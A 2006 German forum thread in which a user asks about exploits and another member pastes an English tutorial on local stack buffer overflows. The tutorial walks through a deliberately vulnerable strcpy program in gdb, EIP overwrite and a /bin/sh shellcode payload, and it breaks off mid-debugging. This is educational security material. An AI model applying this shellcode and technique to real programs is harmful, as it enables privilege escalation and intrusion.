Exploits ? ? ?

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von Epidrome, 16. Juli 2006 .

Schlagworte:
  1. 16. Juli 2006
    Hallo,
    ich bräuchte jemand der mir hilft ein paar sachen zu verstehen.

    Meine Frage gehen richtung Exploits.
    Z.B.:
    Wie finde ich auf mein Server oder mein Client Rechner Sicherheitslücken?

    Wenn ich ein Exploit habe wie verschicke ich das wie funktioniert das?

    Muss etwas erfahrung mit Exploits sammeln.

    Links und gute dokus könnten mir weiter helfen.

    Die Infromationen möchte für Selbstudium. (Schutz von eigenen Server und Client Rechner).

    Wurde mich auf ein paar gute Infos freuen.
     
  2. 16. Juli 2006
    exploits greifen immer eine schwachstelle in irgendeiner software an, die geschieht via eines best. ports, das dem programm mit der sicherheitslücke zugeordnet ist. exploits werden vom angriffsrechner aus verwendet, um zugang zum system des opfers zu bekommen.
    was du also tun kannst, ist folgendes: schalte unnötige dienste ab, wenn du sie nicht brauchst, remote desktop o.ä. kauf dir nen router und block sämtliche ports, die nicht durch ein notwendiges programm benutzt werden.

    hoffe ich konnte dir helfen
     
  3. 16. Juli 2006
    Hallo,
    ja die Info, könnte mir etwas helfen.
    Mich interessiert die Programmierung...
    Treotzdem Danke.


    MFG Epidrome.
     
  4. 17. Juli 2006
    na dann... lern sie ? wo ist das problem.. jemand der gerne explots programmieren möchte und schon am beschaffen von infos scheitert ? das kann ja lustig werden...

    naja was solls, bin gut drauf, das könnte dich intressieren

    Code:
     Gotfault Security Community
     (GSC)
     
    
    ---------[ Chapter : 0x100 ]
    ---------[ Subject : Introduction to Local Stack Overflow ]
    ---------[ Author : xgc/dx A.K.A Thyago Silva ]
    ---------[ Date : 08/27/2005 ]
    ---------[ Version : 2.5 ]
     
     
    |=-----------------------------------------------------------------------------=|
     
    ---------[ Table of Contents ]
     
     0x110 - Objective
     0x120 - Requisites
     0x130 - Introduction to Gotfault Sharing Knowledge (GSK)
     0x140 - Introduction to Buffer Overflow
     0x150 - Memory Sections
     0x160 - Function Calls Process (FCP)
     0x170 - Main Registers of the Stack
     0x180 - Introduction to the Stack Frame
     0x190 - Analysis of Vulnerable Source Code
     0x1a0 - Getting Start: Overflowing/Controlling/Executing
     0x1b0 - Conclusion
     
    |=-----------------------------------------------------------------------------=|
     
     
    ---------[ 0x110 - Objective ]
     
    Get basic knowledge of memory analysis and be able to control his flow to execute
    arbitrary code.
     
     
    ---------[ 0x120 - Requisites ]
     
    Basic knowledge of C/PERL programming.
     
     
    ---------[ 0x130 - Introduction to Gotfault Sharing Knowledge (GSK) ]
     
    GSK was created to interested users on programming security to discuss 
    about exploitation techniques under stuff of the selected subject.
    The main goal consists on users to share knowledge with each one.
    I'll try to pass detailed informations of the selected subject, giving
    the chance to users that are just starting. All kind of users are welcome.
    
     
    ---------[ 0x140 - Introduction to Buffer Overflow ]
     
    The principle of exploiting a buffer overflow is to overwrite parts of
    memory which aren't supposed to be overwritten by arbitrary input and
    making the process execute this code. To see how and where an overflow
    takes place, lets take a look at how memory is organized.
     
     
    ---------[ 0x150 - Memory Sections ]
     
    The processes memory consists of three sections:
     
     - Code segment: Data, in this segment, are assembler instructions that
     the processor executes. The code execution is non-linear,
     it can skip code, jump, and call functions on certain
     conditions. Therefore, we have a pointer called EIP, or
     instruction pointer. The address where EIP points to 
     always contains the code that will be executed next.
     
     - Data segment: Space for variables and static/dynamic buffers.
     
     - Stack segment: Which is used to pass data(arguments) to functions
     and as a space for variables of functions. The bottom(start)
     of the stack usually resides at the very end of the virtual
     memory of a page, and grows down. The assembler command PUSHL
     will add to the top of the stack, and POPL will remove one item
     from the top of the stack and put it in a register.
     
    Process Memory Layout:
     
     
    0xc0000000 ---------------------
     | |
     | env/argv pointer. |
     | argc |
     |-------------------|
     | |
     | stack |
     | |
     | | |
     | | |
     | V |
     / /
     \ \
     | |
     | ^ |
     | | |
     | | |
     | |
     | heap |
     |-------------------|
     | bss |
     |-------------------|
     | initialized data |
     |-------------------|
     | text |
     |-------------------|
     | shared libraries |
     | etc. |
    0x8000000 |-------------------|
     
     
    ---------[ 0x160 - Function Calls Process (FCP) ]
     
    On a Unix system, a function call may be broken up in three steps:
     
     - Prolog : The current frame pointer(EBP register) is saved. A frame can be viewed
     as a logical unit of the stack, and contains all the elements
     related to a function. The amount of memory which is necessary
     for the function is reserved.
     
     - Call : The function parameters are stored in the stack and the instruction 
     pointer(EIP register) is saved, in order to know which instruction must be 
     considered when the function returns.
     
     - Epilog : The old stack state is restored(Return).
     
     
    ---------[ 0x170 - Main Registers of the Stack ]
     
    The following registers are important in operation of the stack:
     
     EIP - The extended instruction pointer. When you call a function, this
     pointer is saved on the stack for later use. When the function returns,
     this saved address is used to determine the location of the next executed
     instruction.
     
     ESP - The extended stack pointer. This points to the current position
     on the stack and allows things to be added to and removed from the
     stack using push and pop operations or direct stack pointer manipulations.
     
     EBP - The extended base pointer. This register usually stays the same
     throughout the execution of a function. It serves as a static point for
     referencing stack-based information such as variables and data in a
     function using offsets. This pointer usually points to the top of the stack
     for a function.
     
     
    ---------[ 0x180 - Introduction to the Stack Frame ]
     
    A stack frame is the name given the entire stack section used by a given function,
    including all the passed arguments, the saved EIP and potentially any other saved
    registers as EBP, and the local function variables. Previously we focused on the
    stack.s use in holding local variables; now we will go into the *bigger picture*
    of the stack.
     
    To understand how the stack works in the real, we need some understanding
    of the Intel CALL and RET instructions.
     
    The CALL instruction makes functions possible. The purpose of this instruction 
    is to divert processor control to a different part of code while remembering 
    where you need to return. To get this goal, a CALL instruction operates like this:
     
     - Push address of the next instruction after the call onto the stack. (This
     is where the processor will return to after executing the function)
     - Jump to the address specified by the call.
     
    The RET instruction does the opposite. Its purpose is to return from a
    called function to whatever was right after the CALL instruction. The RET
    instruction operates like this:
     
     - Pop the stored return address off the stack.
     - Jump to the address popped off the stack.
     
    This combination allows code to be jumped to and returned from very
    easily, without restricting the nesting of function calls too much.
     
     
    ---------[ 0x190 - Analysis of Vulnerable Source Code ]
     
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
     
    int bof(char *string) {
     
     char buffer[256];
     
     strcpy(buffer, string);
     
     return 1;
    }
     
    int main(int argc, char *argv[]) {
     
     bof(argv[1]);
     printf("Not gonna do it!\n");
     
     return 1;
    }
     
    We'll now check this source code following all flow of memory to demostrate
    what happen with registers and stack area. After all we'll be able to exploit 
    and execute any code.
     
    Let's see instructions inside main function with gdb.
    
    [xgc@trapdown:~]$ gcc --version
    gcc (GCC) 3.3.5 (Debian 1:3.3.5-13)
    Copyright (C) 2003 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions. There is NO
    warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
     
    [xgc@trapdown:~]$ gcc -o simple_stack simple_stack.c
    [xgc@trapdown:~]$ gdb ./simple_stack -q
    Using host libthread_db library "/lib/libthread_db.so.1".
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x080483e9 <main+0>: push %ebp
    0x080483ea <main+1>: mov %esp,%ebp
    0x080483ec <main+3>: sub $0x8,%esp
    0x080483ef <main+6>: and $0xfffffff0,%esp
    0x080483f2 <main+9>: mov $0x0,%eax
    0x080483f7 <main+14>: sub %eax,%esp
    0x080483f9 <main+16>: mov 0xc(%ebp),%eax
    0x080483fc <main+19>: add $0x4,%eax
    0x080483ff <main+22>: mov (%eax),%eax
    0x08048401 <main+24>: mov %eax,(%esp)
    0x08048404 <main+27>: call 0x80483c4 <bof>
    0x08048409 <main+32>: movl $0x8048534,(%esp)
    0x08048410 <main+39>: call 0x80482d8 <_init+56>
    0x08048415 <main+44>: mov $0x1,%eax
    0x0804841a <main+49>: leave
    0x0804841b <main+50>: ret
    0x0804841c <main+51>: nop
    0x0804841d <main+52>: nop
    0x0804841e <main+53>: nop
    0x0804841f <main+54>: nop
    End of assembler dump.
    (gdb)
     
    I'll explain now what happen with each line.
     
    0x080483e9 <main+0>: push %ebp
    0x080483ea <main+1>: mov %esp,%ebp
    0x080483ec <main+3>: sub $0x8,%esp
     
    It's a PROLOG.
    First, EIP is saved from the function _init (or _start), that initialize 
    this program, which called main().
    Old frame pointer is saved(%ebp) and does, from current stack pointer(esp),
    the new frame pointer(mov %esp, %ebp).
    After gcc-2.9.6 dummy bytes is always set free at functions, in this case 
    0x08 bytes.
    It's the default process that any function does. 
     
    Process Layout at this moment looks like:
     
     |-------------------| --------------------------------+
     | saved EIP | - from caller(_start) of main() |
     |-------------------| |
     | saved EBP | - from caller(_start) of main() |
     |-------------------| |
     | 0x08 dummy | NEW STACK FRAME |
     |-------------------| --------------------------------+
     
    0x080483f9 <main+16>: mov 0xc(%ebp),%eax
    0x080483fc <main+19>: add $0x4,%eax
    0x080483ff <main+22>: mov (%eax),%eax
    0x08048401 <main+24>: mov %eax,(%esp)
    0x08048404 <main+27>: call 0x80483c4 <bof>
     
    At line main+16, 0xc(%ebp) is moved to EAX register.
    This address is vector from argv.
    At line main+19, is argv[1] set at EAX register.
    At line main+22, argv[1] as pointer, it gets what argv[1] is pointing to.
    At line main+24, all content of argv[1] is being moved to stack pointer(%esp).
    At line main+27, bof function call is done. Its parameters are piled 
    (in reverse order) and the function is invoked.
     
    Process Layout at this moment looks like:
     
     |-------------------| --------------------------------+
     | saved EIP | - from caller(_start) of main() |
     |-------------------| |
     | saved EBP | - from caller(_start) of main() |
     |-------------------| |
     | 0x08 dummy | NEW STACK FRAME |
     |-------------------| --------------------------------+
     | bof(argv[1]) |
     |-------------------| 
     
    0x08048409 <main+32>: movl $0x8048534,(%esp)
    0x08048410 <main+39>: call 0x80482d8 <_init+56>
    0x08048415 <main+44>: mov $0x1,%eax
     
    Well, at line main+32, address(0x8048534) of string "Not gonna do it!\n" is 
    moved to stack pointer(%esp) and then printf(), at line main+39, is called 
    with his argument passed. The instruction mov $0x1, %eax is for return 1.
     
    Process Layout at this moment looks like:
     
     |-------------------| --------------------------------+
     | saved EIP | - from caller(_start) of main() |
     |-------------------| |
     | saved EBP | - from caller(_start) of main() |
     |-------------------| |
     | 0x08 dummy | NEW STACK FRAME |
     |-------------------| --------------------------------+
     | bof(argv[1]) |
     |-------------------| 
     | printf() |
     |-------------------| 
     | return 1; |
     |-------------------| 
     
    0x0804841a <main+49>: leave
    0x0804841b <main+50>: ret
    
    It's a Epilog.
    At line main+49, is the leave instruction that does:
     
    mov %ebp, %esp <- restores EBP(old frame from _start function).
    pop %ebp <- take off EBP from ESP(old frame) and loads at %ebp (EBP saved at main). 
     
    At line main+50, RET instruction gets what %esp is pointing to and loads, at EIP
    register, this pointed address, so, this address will be executed.
     
    Process Layout at this moment looks like:
     
     |--------------------| --------------------------------+
     | saved EIP | - from caller(_start) of main() |
     |--------------------| |
     | saved EBP | - from caller(_start) of main() |
     |--------------------| |
     | 0x08 dummy | NEW STACK FRAME |
     |--------------------| --------------------------------+
     | bof(argv[1]) |
     |--------------------| 
     | printf() |
     |--------------------| 
     | return 1; |
     |--------------------| 
     | mov %ebp, %esp | ---+
     |--------------------| | - leave instruction
     | pop %ebp | ---+
     |--------------------| 
     | ret gets (%esp) | ---+
     |--------------------| | - ret instruction
     | loads (%esp) @ EIP | ---+
     |--------------------|
     
    Now, let's see instructions inside bof function with GDB.
     
    (gdb) disassemble bof
    Dump of assembler code for function bof:
    0x080483c4 <bof+0>: push %ebp
    0x080483c5 <bof+1>: mov %esp,%ebp
    0x080483c7 <bof+3>: sub $0x118,%esp
    0x080483cd <bof+9>: mov 0x8(%ebp),%eax
    0x080483d0 <bof+12>: mov %eax,0x4(%esp)
    0x080483d4 <bof+16>: lea 0xfffffef8(%ebp),%eax
    0x080483da <bof+22>: mov %eax,(%esp)
    0x080483dd <bof+25>: call 0x80482e8 <_init+72>
    0x080483e2 <bof+30>: mov $0x1,%eax
    0x080483e7 <bof+35>: leave
    0x080483e8 <bof+36>: ret
    End of assembler dump.
    (gdb)
     
    0x080483c4 <bof+0>: push %ebp
    0x080483c5 <bof+1>: mov %esp,%ebp
    0x080483c7 <bof+3>: sub $0x118,%esp
     
    It's a Prolog. 
    Again, first, EIP is saved from the main function, that call bof function.
    Old frame pointer is saved(%ebp) and does, from current stack pointer(ESP),
    the new frame pointer(mov %esp, %ebp).
    0x118 bytes are available for local variable buffer.
     
    Process Layout at this moment looks like:
     
    0xbfffffff 
     +----> |-------------------| --------------------------------+
     | | char *string | bof() |
     | | | |
     | |-------------------| |
     | | saved EIP | - from caller(main) of bof() |
     | |-------------------| |
     | | saved EBP | - from caller(main) of bof() |
     | |-------------------| |
     | | 0x118b @ buffer[] | NEW STACK FRAME |
     | |-------------------| --------------------------------+
     | | |
     | |-------------------|
     | | .text |
     | |-------------------|
     +---- | call bof() @ main |
    0x08040000 |-------------------|
     | |
     |-------------------|
     | shared libraries |
    0x08000000 |-------------------|
     
     
    0x080483cd <bof+9>: mov 0x8(%ebp),%eax
    0x080483d0 <bof+12>: mov %eax,0x4(%esp)
    0x080483d4 <bof+16>: lea 0xfffffef8(%ebp),%eax
    0x080483da <bof+22>: mov %eax,(%esp)
    0x080483dd <bof+25>: call 0x80482e8 <_init+72>
     
    Function strcpy requires two arguments, the first one is buffer to alocate the second
    argument, in this case argv[1]. So, at line bof+9 0x8(%ebp)(argv[1]) is moved to EAX
    and at line bof+12, EAX is moved to 0x4(%esp). After, LEA instruction is activated.
    LEA does: loads the efective address from 0xfffffef8(%ebp) to EAX. The difference
    of LEA to MOV is that LEA loads address from somewhere to some register and MOV copies
    the content of address from somewhere to some register.
     
    Process Layout at this moment looks like:
     
    0xbfffffff 
     +----> |-------------------| --------------------------------+
     | | char *string | bof() |
     | | | |
     | |-------------------| |
     | | saved EIP | - from caller(main) of bof() |
     | |-------------------| |
     | | saved EBP | - from caller(main) of bof() |
     | |-------------------| |
     | | 0x118b @ buffer[] | NEW STACK FRAME |
     | |-------------------| --------------------------------+
     | | strcpy() |
     | |-------------------|
     | | |
     | |-------------------|
     | | .text |
     | |-------------------|
     +---- | call bof() @ main |
    0x08040000 |-------------------|
     | |
     |-------------------|
     | shared libraries |
    0x08000000 |-------------------|
     
    0x080483e7 <bof+35>: leave
    0x080483e8 <bof+36>: ret
     
    It's a Epilog.
    Again, at line bof+35, is the LEAVE instruction that does:
     
    mov %ebp, %esp <- restores EBP(old frame from main function).
    pop %ebp <- take off EBP from ESP(old frame) and loads at %ebp (EBP saved at bof). 
     
    At line bof+36, RET instruction gets what %esp is pointing to and loads, at EIP
    register, this pointed address, so, this address will be executed when returns
    to main fucntion and will follow the normal flow even main finishs.
     
    Process Layout at this moment looks like:
     
    0xbfffffff 
     +----> |--------------------| --------------------------------+
     | | char *string | bof() |
     | | | |
     | |--------------------| |
     | | saved EIP | - from caller(main) of bof() |
     | |--------------------| |
     | | saved EBP | - from caller(main) of bof() |
     | |--------------------| |
     | | 0x118b @ buffer[] | NEW STACK FRAME |
     | |--------------------| --------------------------------+
     | | strcpy() |
     | |--------------------|
     | | return 1; |
     | |--------------------|
     | | mov %ebp,%esp | ---+
     | |--------------------| | - leave instruction
     | | pop %ebp | ---+
     | |--------------------| 
     | | ret gets (%esp) | ---+
     | |--------------------| | - ret instruction
     | | loads (%esp) @ EIP | ---+
     | |--------------------|
     | | |
     | |--------------------|
     | | .text |
     | |--------------------|
     +---- | call bof() @ main |
    0x08040000 |--------------------|
     | |
     |--------------------|
     | shared libraries |
    0x08000000 |--------------------|
     
    Let's check execution of the program at gdb.
     
    [xgc@trapdown:~]$ gdb ./simple_stack -q
    Using host libthread_db library "/lib/libthread_db.so.1".
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x080483e9 <main+0>: push %ebp
    0x080483ea <main+1>: mov %esp,%ebp
    0x080483ec <main+3>: sub $0x8,%esp
    0x080483ef <main+6>: and $0xfffffff0,%esp
    0x080483f2 <main+9>: mov $0x0,%eax
    0x080483f7 <main+14>: sub %eax,%esp
    0x080483f9 <main+16>: mov 0xc(%ebp),%eax
    0x080483fc <main+19>: add $0x4,%eax
    0x080483ff <main+22>: mov (%eax),%eax
    0x08048401 <main+24>: mov %eax,(%esp)
    0x08048404 <main+27>: call 0x80483c4 <bof>
    0x08048409 <main+32>: movl $0x8048534,(%esp)
    0x08048410 <main+39>: call 0x80482d8 <_init+56>
    0x08048415 <main+44>: mov $0x1,%eax
    0x0804841a <main+49>: leave
    0x0804841b <main+50>: ret
    0x0804841c <main+51>: nop
    0x0804841d <main+52>: nop
    0x0804841e <main+53>: nop
    0x0804841f <main+54>: nop
    End of assembler dump.
    (gdb) break *main+24
    Breakpoint 1 at 0x8048401
    (gdb) run testing...
    Starting program: /home/xgc/simple_stack testing...
     
    Breakpoint 1, 0x08048401 in main ()
    (gdb) x/x $esp+0x04
    0xbffffb24: 0xbffffb84
    (gdb) x/x 0xbffffb84
    0xbffffb84: 0xbffffc60
    (gdb) x/s 0xbffffc60
    0xbffffc60: "/home/xgc/simple_stack"
    (gdb)
    0xbffffc77: "testing..."
    (gdb)
     
    As I said about the process to load argv[1] into the stack.
    At $esp+0x4 stands argv[0].
     
    (gdb) d 1
    (gdb) break *main+27
    Breakpoint 2 at 0x8048404
    (gdb) disassemble bof
    Dump of assembler code for function bof:
    0x080483c4 <bof+0>: push %ebp
    0x080483c5 <bof+1>: mov %esp,%ebp
    0x080483c7 <bof+3>: sub $0x118,%esp
    0x080483cd <bof+9>: mov 0x8(%ebp),%eax
    0x080483d0 <bof+12>: mov %eax,0x4(%esp)
    0x080483d4 <bof+16>: lea 0xfffffef8(%ebp),%eax
    0x080483da <bof+22>: mov %eax,(%esp)
    0x080483dd <bof+25>: call 0x80482e8 <_init+72>
    0x080483e2 <bof+30>: mov $0x1,%eax
    0x080483e7 <bof+35>: leave
    0x080483e8 <bof+36>: ret
    End of assembler dump.
    (gdb)
     
    At bof function we can see a problem with strcpy function.
    The function strcpy() does not check its boundaries, that means
    that it does not check if argv[1] fits into buffer, and just keeps
    on copying into buffer until it encounters a NULL string (\0).
     
     
    ---------[ 0x1a0 - Getting Start: Overflowing/Controlling/Executing ]
     
    Let's fill the buffer more than it supports.
     
    (gdb) run `perl -e 'print "A"x264,"BBBB"'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
     
    Starting program: /home/xgc/simple_stack `perl -e 'print "A"x264,"BBBB"'`
     
    Breakpoint 2, 0x08048404 in main ()
    (gdb) c
    Continuing.
     
    Program received signal SIGSEGV, Segmentation fault.
    0x08048400 in main ()
    (gdb) i r ebp
    ebp 0x42424242 0x42424242
    (gdb)
     
    Now let's see what happen before segmentation fault:
     
    (gdb) disassemble bof
    Dump of assembler code for function bof:
    0x080483c4 <bof+0>: push %ebp
    0x080483c5 <bof+1>: mov %esp,%ebp
    0x080483c7 <bof+3>: sub $0x118,%esp
    0x080483cd <bof+9>: mov 0x8(%ebp),%eax
    0x080483d0 <bof+12>: mov %eax,0x4(%esp)
    0x080483d4 <bof+16>: lea 0xfffffef8(%ebp),%eax
    0x080483da <bof+22>: mov %eax,(%esp)
    0x080483dd <bof+25>: call 0x80482e8 <_init+72>
    0x080483e2 <bof+30>: mov $0x1,%eax
    0x080483e7 <bof+35>: leave
    0x080483e8 <bof+36>: ret
    End of assembler dump.
    (gdb) break *bof+35
    Breakpoint 1 at 0x80483e7
    (gdb) display/1i $eip
    (gdb) run `perl -e 'print "A" x 264, "BBBB"'`
    Starting program: /home/xgc/simple_stack `perl -e 'print "A" x 264, "BBBB"'`
     
    Breakpoint 1, 0x080483e7 in bof ()
    1: x/i $eip 0x80483e7 <bof+35>: leave
    (gdb) i r ebp
    ebp 0xbffffa18 0xbffffa18
    (gdb) stepi
    0x080483e8 in bof ()
    1: x/i $eip 0x80483e8 <bof+36>: ret
    (gdb) i r ebp
    ebp 0x42424242 0x42424242
    (gdb)
     
    EBP was overwritten. Segmentation fault have been ocurred at RET, of bof
    function, that got what %esp is pointing(leave instruction) to and puts at 
    eip register this pointed address. Check out process layout after EBP controlled:
     
    0xbfffffff 
     +----> |-----------------------| --------------------------------+
     | | char *string | bof() |
     | | | |
     | |-----------------------| |
     | | saved EIP | - from caller(main) of bof() |
     | |-----------------------| |
     | | saved EBP(0x42424242) | - from caller(main) of bof() |
     | |-----------------------| |
     | | 0x118b @ buffer[] | NEW STACK FRAME |
     | |-----------------------| --------------------------------+
     | | strcpy() |
     | |-----------------------|
     | | return 1; |
     | |-----------------------|
     | | mov %ebp, %esp | ---+
     | |-----------------------| | - leave instruction
     | | pop %ebp | ---+
     | |-----------------------| 
     | | ret gets (%esp) | ---+
     | |-----------------------| | - ret instruction
     | | loads (%esp) @ EIP | ---+
     | |-----------------------|
     | | |
     | |-----------------------|
     | | .text |
     | |-----------------------|
     +---- | call bof() @ main |
    0x08040000 |-----------------------|
     | |
     |-----------------------|
     | shared libraries |
    0x08000000 |-----------------------|
     
    Let's add more four bytes and run the program again.
     
    (gdb) run `perl -e 'print "A"x264,"BBBB","CCCC"'`
    Starting program: /home/xgc/simple_stack `perl -e 'print "A"x264,"BBBB","CCCC"'`
     
    Breakpoint 2, 0x08048404 in main ()
    (gdb) c
    Continuing.
     
    Program received signal SIGSEGV, Segmentation fault.
    0x43434343 in ?? ()
    (gdb) i r ebp eip
    ebp 0x42424242 0x42424242
    eip 0x43434343 0x43434343
    (gdb) 
     
    Now let's see what happen before segmentation fault:
     
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x080483e9 <main+0>: push %ebp
    0x080483ea <main+1>: mov %esp,%ebp
    0x080483ec <main+3>: sub $0x8,%esp
    0x080483ef <main+6>: and $0xfffffff0,%esp
    0x080483f2 <main+9>: mov $0x0,%eax
    0x080483f7 <main+14>: sub %eax,%esp
    0x080483f9 <main+16>: mov 0xc(%ebp),%eax
    0x080483fc <main+19>: add $0x4,%eax
    0x080483ff <main+22>: mov (%eax),%eax
    0x08048401 <main+24>: mov %eax,(%esp)
    0x08048404 <main+27>: call 0x80483c4 <bof>
    0x08048409 <main+32>: movl $0x8048534,(%esp)
    0x08048410 <main+39>: call 0x80482d8 <_init+56>
    0x08048415 <main+44>: mov $0x1,%eax
    0x0804841a <main+49>: leave
    0x0804841b <main+50>: ret
    0x0804841c <main+51>: nop
    0x0804841d <main+52>: nop
    0x0804841e <main+53>: nop
    0x0804841f <main+54>: nop
    End of assembler dump.
    (gdb) break *main+44
    Breakpoint 1 at 0x8048415
    (gdb) disassemble bof
    Dump of assembler code for function bof:
    0x080483c4 <bof+0>: push %ebp
    0x080483c5 <bof+1>: mov %esp,%ebp
    0x080483c7 <bof+3>: sub $0x118,%esp
    0x080483cd <bof+9>: mov 0x8(%ebp),%eax
    0x080483d0 <bof+12>: mov %eax,0x4(%esp)
    0x080483d4 <bof+16>: lea 0xfffffef8(%ebp),%eax
    0x080483da <bof+22>: mov %eax,(%esp)
    0x080483dd <bof+25>: call 0x80482e8 <_init+72>
    0x080483e2 <bof+30>: mov $0x1,%eax
    0x080483e7 <bof+35>: leave
    0x080483e8 <bof+36>: ret
    End of assembler dump.
    (gdb) break *bof+35
    Breakpoint 2 at 0x80483e7
    (gdb) display/1i $eip
    (gdb) run `perl -e 'print "A" x 264, "BBBB","CCCC"'`
    Starting program: /home/xgc/simple_stack `perl -e 'print "A" x 264, "BBBB","CCCC"'`
     
    Breakpoint 2, 0x080483e7 in bof ()
    1: x/i $eip 0x80483e7 <bof+35>: leave
    (gdb) i r ebp eip
    ebp 0xbffffa18 0xbffffa18
    eip 0x80483e7 0x80483e7
    (gdb) stepi
    0x080483e8 in bof ()
    1: x/i $eip 0x80483e8 <bof+36>: ret
    (gdb) i r ebp eip
    ebp 0x42424242 0x42424242
    eip 0x80483e8 0x80483e8
    (gdb) stepi
    0x43434343 in ?? ()
    1: x/i $eip 0x43434343: add %al,(%eax)
    (gdb) i r ebp eip
    ebp 0x42424242 0x42424242
    eip 0x43434343 0x43434343
    (gdb)
     
    EBP and EIP were overwritten. Segmentation fault have been ocurred at RET, of bof
    function, that got what %esp is pointing to and puts at eip register this pointed
    address, when it Returns to main function Check out process layout after EIP
    and EBP controlled:
     
    0xbfffffff 
     +----> |-----------------------| --------------------------------+
     | | char *string | bof() |
     | | | |
     | |-----------------------| |
     | | saved EIP(0x43434343) | - from caller(main) of bof() |
     | |-----------------------| |
     | | saved EBP(0x42424242) | - from caller(main) of bof() |
     | |-----------------------| |
     | | 0x118b @ buffer[] | NEW STACK FRAME |
     | |-----------------------| --------------------------------+
     | | strcpy() |
     | |-----------------------|
     | | return 1; |
     | |-----------------------|
     | | mov %ebp,%esp | ---+
     | |-----------------------| | - leave instruction
     | | pop %ebp | ---+
     | |-----------------------| 
     | | ret gets (%esp) | ---+
     | |-----------------------| | - ret instruction
     | | loads (%esp) @ EIP | ---+
     | |-----------------------|
     | | |
     | |-----------------------|
     | | .text |
     | |-----------------------|
     +---- | call bof() @ main |
    0x08040000 |-----------------------|
     | |
     |-----------------------|
     | shared libraries |
    0x08000000 |-----------------------|
     
    EIP controlled means that we can now jump to anywhere or execute any instruction
    or any code. Our goal here is inject shellcode at stack memory and makes EIP jumps 
    to there to execute /bin/sh. Let's restart the process at GDB.
     
    [xgc@trapdown:~]$ gdb ./simple_stack -q
    Using host libthread_db library "/lib/libthread_db.so.1".
    (gdb) break *main+27
    Breakpoint 1 at 0x8048404
    (gdb) display/1i $eip
    (gdb) run `perl -e 'print "A"x264,"BBBB","CCCC"'`
    Starting program: /home/xgc/simple_stack `perl -e 'print "A"x264,"BBBB","CCCC"'`
     
    Breakpoint 1, 0x08048404 in main ()
    1: x/i $eip 0x8048404 <main+27>: call 0x80483c4 <bof>
    (gdb) c
    Continuing.
     
    Program received signal SIGSEGV, Segmentation fault.
    0x43434343 in ?? ()
    1: x/i $eip 0x43434343: add %al,(%eax)
    (gdb)
     
    First, we've break at call of bof function just to debug.
    I've also set one display to watch EIP as ASM Instruction format and
    after we continue to leave the break. Getting informations about main registers
    we can see that EBP and EIP were controlled by us. Our code to execute will be 
    called by shellcode. But try to figure out, to overwrite EIP we filled the buffer
    with 272 bytes. So our malicious buffer will looks like:
     
    [################] + [SHELLCODE] + [CCCC] = 272 bytes.
     
    [################] = Garbage
    [SHELLCODE] = Code to execute /bin/sh
    [CCCC] = Bytes to overwrite EIP
    ------------------ = 272 bytes.
     
    We'll use this follow shellcode:
     
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
    "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
     
    This shellcode have 24 bytes and executes /bin/sh.
     
    [################] = Garbage - 244 bytes
    [SHELLCODE] = Code to execute /bin/sh - 24 bytes
    [CCCC] = Bytes to overwrite EIP - 4 bytes
    ------------------ = 272 bytes.
     
    Now we'll back to GDB and build our malicious buffer.
     
    (gdb) run `perl -e 'print "A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
    \x89\xe1\x99\xb0\x0b\xcd\x80","CCCC" '`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
     
    Starting program: /home/xgc/simple_stack `perl -e 'print "A"x244,"\x31\xc0\x50\x68
    //sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`
     
    Breakpoint 1, 0x08048404 in main ()
    1: x/i $eip 0x8048404 <main+27>: call 0x80483c4 <bof>
    (gdb) c
    Continuing.
     
    Program received signal SIGSEGV, Segmentation fault.
    0x43434343 in ?? ()
    1: x/i $eip 0x43434343: add %al,(%eax)
    (gdb) i r eip
    eip 0x43434343 0x43434343
    (gdb)
     
    As we can see, theory works and EIP still controlled by us.
    Well, the 4 bytes to control EIP must be replaced by the address of shellcode at ESP.
    After replaced "CCCC" by the address of shellcode (as we said before, will points 
    to the next instruction), shellcode will be executed. All processs looks like:
     
     +-------------+ 
     | |
     v |
    [################] + [SHELLCODE] + [&SHELLCODE] = 272 bytes.
     (EIP)
     
    To get address of this shellcode at stack memory we can do a direct jump
    to begin of shellcode instructions or use NOP bytes.
     
    For direct jump method we need to check where shellcode instructions starts at stack
    memory. Let's see:
     
    (gdb) x/128xb $esp
     .
     .
     .
    0xbffffc48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffc50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffc58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffc60: 0x41 0x41 0x41 0x41 0x31 0xc0 0x50 0x68
    0xbffffc68: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69
    0xbffffc70: 0x6e 0x89 0xe3 0x50 0x53 0x89 0xe1 0x99
    0xbffffc78: 0xb0 0x0b 0xcd 0x80 0x43 0x43 0x43 0x43
     
    We can see part of our A's and following the shellcode and to finishs "CCCC".
    So, shellcode address is at 0xbffffc64.
    Now we need to add this address inside of our malicious buffer, in little endian 
    format, and re-execute the program.
     
    Backing to GDB again.
     
    (gdb) run `perl -e 'print "A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
    \x89\xe1\x99\xb0\x0b\xcd\x80","\x64\xfc\xff\xbf" '`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
     
    Starting program: /home/xgc/simple_stack `perl -e 'print "A"x244,"\x31\xc0\x50\x68
    //sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x64\xfc\xff\xbf"'`
     
    Breakpoint 1, 0x08048404 in main ()
    1: x/i $eip 0x8048404 <main+27>: call 0x80483c4 <bof>
    (gdb) c
    Continuing.
     
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x40000c20 in ?? () from /lib/ld-linux.so.2
    1: x/i $eip 0x40000c20 <completed.1+939226576>: mov %esp,%eax
    (gdb) c
